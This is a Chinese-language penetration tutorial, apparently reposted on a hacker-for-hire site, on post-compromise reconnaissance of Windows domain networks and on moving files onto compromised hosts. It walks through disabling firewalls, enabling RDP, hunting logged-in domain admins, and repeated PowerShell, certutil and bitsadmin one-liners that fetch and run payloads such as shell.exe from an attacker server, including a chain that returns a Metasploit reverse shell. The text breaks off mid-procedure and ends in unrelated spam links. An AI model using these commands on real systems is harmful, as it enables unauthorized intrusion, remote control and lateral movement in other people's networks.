内网渗透测试:信息收集与上传下载

访客4年前关于黑客接单830

  可以说内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的 *** 环境进行判断。包括以下几点:

  对当前机器角色的判断

  对当前机器所处的 *** 环境进行判断

  对当前机器所处的 *** 区域进行判断

  whoami

  whoami /all // 查看当前域并获取域SID

  当前域为god,当前域的sid为S-1-5-21-2952760202-1353902439-238178089,域用户administrator的sid为S-1-5-21-2952760202-1353902439-238178089-500。

  ipconfig /all // 查询本机IP段,所在域等

  route print // 打印路由信息

  arp -a // 查看arp缓存,可以发现内网主机

  systeminfo

  执行以下命令直接查看操作系统及版本

  systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

  systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统

  echo %PROCESSOR_ARCHITECTURE%

  

  wmic product get name,version

  

  net user // 查看本地用户

  net localgroup administrators // 查看本地管理员组(通常包含域用户)

  net user xxx // 查看指定用户详细信息

  net session

  systeminfo

  wmic qfe get Caption,Description,HotFixID,InstalledOn

  注意:域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。

  net share

  wmic share get name,path,status

  tasklist

  wmic process

  wmic process list brief

  wmic process get processid,executablepath,name // 显示进程的路径、名称、pid

  wmic service list brief

  wmic startuo get command,caption

  netstat -ano

  可以看到当前主机端口开放与使用情况、与哪些主机建立了连接。

  net statistics workstation

  schtasks /query /fo LIST /v // query显示所有计划任务

  netsh firewall show state // 防火墙状态

  netsh firewall show config // 查看防火墙配置

  netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前)

  netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)

  修改防火墙配置

  netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable // 允许指定程序的全部连接(windows server 2003及以前)

  windows server 2003之后:

  netsh advfirewall firewall add rule name="pass xx" dir=in action=allow program="C:\xxx\xx.exe" // 允许某个程序连入

  netsh advfirewall firewall add rule name="pass xx" dir=out action=allow program="C:\xxx\xx.exe" // 允许某个程序外连

  netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow // 开启3389端口,允许改端口放行

  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

  下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

  该脚本可以在目标机器上面完成服务。用户列表,用户组、 *** 接口、硬件信息、 *** 共享信息、操作系统、安装的补丁、安装的软件、自启程序、时区等信息的查询工作。其利用WMIC来收集信息。执行脚本后,会将所有结果写入一个HTML文件,如下图所示

  

  net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等

  net view /domain // 查看域

  上图中,“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。

  systeminfo

  如上图,“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。

  net time /domain // 主域服务器会同时作为时间服务器

  可知当前主域为owa。

  net group "domain controllers" /domain // 查看域控制器组

  

  nltest /DCLIST:god // 查看域控制器主机名,god为域名

  我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。

  ping owa.god.org // owa为域控制器名

  如上图得到域控的ip为192.168.52.138。

  nltest /domain_trusts 列出域与域之间的信任关系

  net group /domain

  

  Domain Admins 域管理员组

  Domain Computers 域内的机器

  Domain Controllers 域控制器

  Domain Users 域用户

  Enterprise Admins 企业系统管理员组

  查看所有的域成员主机(机器用户;不包括域控):

  

  如上图可以得到域管理员用户有administrator和owa$。

  net group "Enterprise Admin" /domain

  net accounts /domain

  net user /domain // 查看域用户

  net user xxx /domain // 查看指定域用户详细信息

  获取域内用户详细信息

  wmic useraccount get /all

  如上图,可以获取到域用户的用户名、描述信息、SID、域名、状态等。

  我们在内网渗透中,通过查看域内目标主机的端口开放情况,来了解目标主机上的服务,通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块,也可以上传端口扫描工具进行扫描。在扫描时注意以下几点:

  端口的banner信息

  端口上运行的服务

  利用telnet工具进行端口扫描

  Telnet是进行远程登录的标准协议和主要方式,它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能,然后你再去CMD的命令行里面输入telnet就没有问题了

  

  telnet

  telnet 192.168.52.138 445

  

  出现连接失败,代表对方端口没有打开。

  PowerSploit 中的Invoke-portscan.ps1脚本

  下载地址:https://github.com/PowerShellMafia/PowerSploit

  powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'"

  // 或者扫描全部的端口:-Ports "1-65535"

  

  Nishang 中的Invoke-portscan.ps1脚本

  下载地址:https://github.com/samratashok/nishang

  该脚本可用于发现主机、解析主机名、扫描端口。

  powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'"

  // -ResolveHost:解析主机名

  

  Nmap扫描

  这个工具就不用说了,在侵入内网后,挂上 *** 直接对内网主机扫描即可,也是我最常用的一个。详情见我的文章《内网渗透测试:隐藏通讯隧道技术》

  Metasploit 端口扫描模块

  Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:

  auxiliary/scanner/portscan/ack

  auxiliary/scanner/portscan/syn

  auxiliary/scanner/portscan/tcp

  banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。

  使用Nmap获取banner

  nmap --script=banner -p

  

  (666口好像是个木马)

  使用nc获取banner

  nc -nv

  使用Metasploit模块

  Metasploit中提供了很多内置的内网存活主机扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:

  auxiliary/scanner/portscan/tcp

  auxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现

  auxiliary/scanner/discovery/empty_udp

  auxiliary/scanner/discovery/udp_probe

  auxiliary/scanner/discovery/udp_sweep

  利用NetBIOS快速扫描内网存活

  Netbios: *** 基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。

  nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP *** 上的开放NetBIOS名称服务器。

  下载地址:https://github.com/MrAnonymous-1/nbtscan

  将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:

  nbtscan.exe 192.168.1.0/24

  

  扫描两个网段:

  

  SHARING:该主机存在正在运行的文件和打印共享服务

  DC:该机器可能是域控制器

  :没有识别处该机器的NetBIOS资源

  利用Ping探测内网主机存活(ICMP)

  for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

  

  基于ARP的主机探测

  利用arp-scan.exe工具。

  下载地址:https://github.com/MrAnonymous-1/arp-scan

  将对应系统版本的arp-scan上传到目标主机上,执行如下命令:

  arp-scan.exe -t

  

  Nmap扫描

  这个工具就不用说了,在侵入内网后,挂上 *** 直接对内网主机扫描即可。

  在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到系统管理员组中。因此,域管理员组的成员均可以访问本地计算机,且具备完全控制权限。

  我们在渗透中,常常使用各种工具来获取当前域管理员在线登录的机器,入侵此机器,然后迁移到域管理登陆所在的进程,便拥有了域管理的权限。定位域内管理员的常规 *** ,一是日志,二是会话。

  下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

  psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。

  psloggedon.exe [-] [-l] [-x] [\\computername或username]

  查看登陆过OWA(域控)机器的用户:

  

  查看本地登陆的用户:

  

  指定用户名,在 *** 中查找指定用户登陆的计算机:

  

  \\computername

  指定要为其列出登录信息的计算机的名称

  username

  指定用户名,在 *** 中搜索该用户登陆的计算机

  下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

  PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境,并需要有管理员权限。

  PVEFindADUser.exe

  我们一般直接运行命令,即可显示域中所有计算机上当前登陆的所有用户。

  显示域中所有计算机上当前登陆的所有用户:

  

  显示指定用户登陆的计算机:

  具体参数:

  current["username"]

  如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机

  其他参数:

  -target

  用于指定要查询的主机。如果未指定此参数,将查询当前与内所有主机

  下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

  powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。

  Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

  如下,可以看到本地域有两个域管理员:

  我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:

  powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter

  详情请执行命令查看,具体使用 *** 与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。

  获取指定用户在线机器:

  

  PowerView是个非常强大、好用的内网渗透脚本,PowerView的其他命令请查看官方文档。

  有时候我们在拿下一台机器的控制权后,需要在这台主机上上传一些东西,有时还需要将目标机上的文件下载下来。我总结了一下几种方式。

  # 下载脚本并在内存中执行

  powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/xxx.ps1')"

  # 下载文件到指定目录

  powershell (new-object system.net.webclient).downloadfile('http://39.xxx.xxx.210/shell.exe','d:/test.exe')

  # 下载文件到当前目录

  powershell (new-object system.net.webclient).downloadfile('http://39.xxx.xxx.210/test.exe','test.exe')

  Download_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能就是下载一个文本文件,然后将其转换为exe可执行文件执行。

  之一步:首先攻击者在本地用Nishang中的exetotext.ps1脚本将exe可执行文件更改为文本文件(这里我们的exe为msf生成的shell.exe)

  powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1');ExetoText c:\shell.exe c:\shell.txt"

  

  之后,将生成的shell.txt放到vps上面,然后在目标主机上面用Download_Execute脚本下载改shell.txt,将其转化为exe后执行

  powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute http://39.xxx.xxx.210/shell.txt

  

  此时正在监听的msf上反弹回了shell:

  

  bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是 windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。bitsadmin 可以在 *** 不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。

  如下,我们利用bitsadmin就可以网目标主机上上传一个文件(将位于外网的文件下载到目标主机上)

  bitsadmin /transfer

  bitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\Liu Sir\shell.exe

  // "任务名" 可以随意起,保存文件的文件路径必须是已经存在的有权限的目录,否则不能下载。

  在bitsadmin *** 过慢的时候可以使用setpriority xxx foreground设置任务xxx为更高优先级来提速:

  先执行:

  start bitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\Liu Sir\shell1.exe

  再执行:

  bitsadmin /setpriority shell foreground

  

  在Win7及其以后的机器都可以使用。(但该命令可能会被杀软查杀)

  certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe // 下载文件到当前目录下

  certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe c:/users/Liu Sir/shell.exe // 下载文件到指定目录下

  

  我们要做的是,在自己的vps上面配置好FTP服务器,就可以在目标机上通过ftp命令完成文件的上传下载了。

  常用的 FTP 命令:

  open :连接指定的FTP服务器

  cd:进入指定的目录

  put/send :将目标机器本地文件上传到服务器远程目录 // send和put *** 用法都基本相同,但是上传速度send却要比put快很多

  get :将ftp服务器上的文件下载到本地目标机器中

  DEBUG是一个DOS实用程序,是供程序员使用的程序调试工具,可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性,也可以追踪执行过程、比较一个指令执行前后的值以及比较与移动内存中数据的范围,读写文件与磁盘扇区。

  我们利用Debug向目标主机上传文件的原理就是,先将需要上传的exe文件转换为十六进制hex的格式,将hex的内容复制,再通过echo命令将hex内容写入到目标主机上的一个文件中,最后利用debug将hex内容编译成exe文件。

  接下来,我们将nc.exe工具利用debug上传至目标主机。

  我们使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目录下)将二进制的nc.exe转换成16进制的表示,由于exe2bat是windows程序,所以在kali上我们要用wine来执行(linux是不能运行window下的可执行文件的,必须借助于wine):

  wine exe2bat.exe nc.exe nc.txt

  

  生成一个nc.txt文件,

  

  exe2bat会把所有代码都生成好(因为本来exe2bat就是用来生成bat的),复制好这些代码,在目标机shell上一条一条的执行到倒数第三行即可将nc.exe的十六进制代码格式写入一个123.hex文件(最后两行要在debug上操作)

  

  (因为文件比较大,我就只演示性的复制几条)

  然后到就debug了,把nc.txt的倒数第二行粘贴到windows的shell里面执行(即123.hex作为输入,传输给debug),即依次执行一下两条命令:

  debug

相关文章

圻怎么读?

圻怎么读?

圻怎么读?圻是什么意思?圻的词语出处也是那里?很多人在生活、学习中遇到“圻”这个词,大家都不知道怎么读这个生僻字。你想知道这些有趣的生僻字怎么读吗?豪友网专门精心整理了生僻字怎么读相关的内容,为你释疑...

货车北斗手机定位怎么使用

你必须下载支持北斗卫星的地图软件或者导航软件,打开手机上的北斗定位的开关,然后打开地图软件或者导航软件,会自动。 以前想知道货到哪了,只能打电话给司机或者车队,现在手机上下载货车定位APP就能查了,输...

金毛狗狗图片大全(可爱的金毛狗狗图片分享)

金毛狗狗图片大全(可爱的金毛狗狗图片分享)

金毛看上去温柔友善让人不自觉的就想过去摸摸它,所以喽,金毛的气质应该就是阳光开朗人见人爱型的狗狗。 而大暖汪的气质也是与生俱来的,从小就憨厚老实,给人感觉这只狗狗很靠谱!小时候是个胖子,非常虎气...

如何看对方开房记录

对于许多初具规模的公司来说,减少跨部门沟通成本成为往往是内部必须攻克的难题,但总部位于上海的互联网公司善诊通过工具化管理做到了这点。 善诊是一个专注于解决老龄群体健康问题的互联网健康服务和医疗大...

黑客帝国2了局什么意思,西安黑客的联系方式,如何找一个黑客那时付

Burp Suite是一个强壮的Web进犯归纳渠道,其运用也比较复杂,这儿主要用到它的抓包功用。Burp Suite要根据Java环境运转,因此还需要在黑客主机中装置Java。0x10 BROP的进...

光头特工黑客帝国(黑客帝国光头尼奥)

光头特工黑客帝国(黑客帝国光头尼奥)

本文导读目录: 1、秃头被特务追杀,躲到餐厅女人的桌子下,是什么电影 2、求一部外国电影的名字,男主角是一个光头特工,关于电脑高手的,里面有“清仓”行动,分三个阶段 3、黑客帝国的剧情介绍...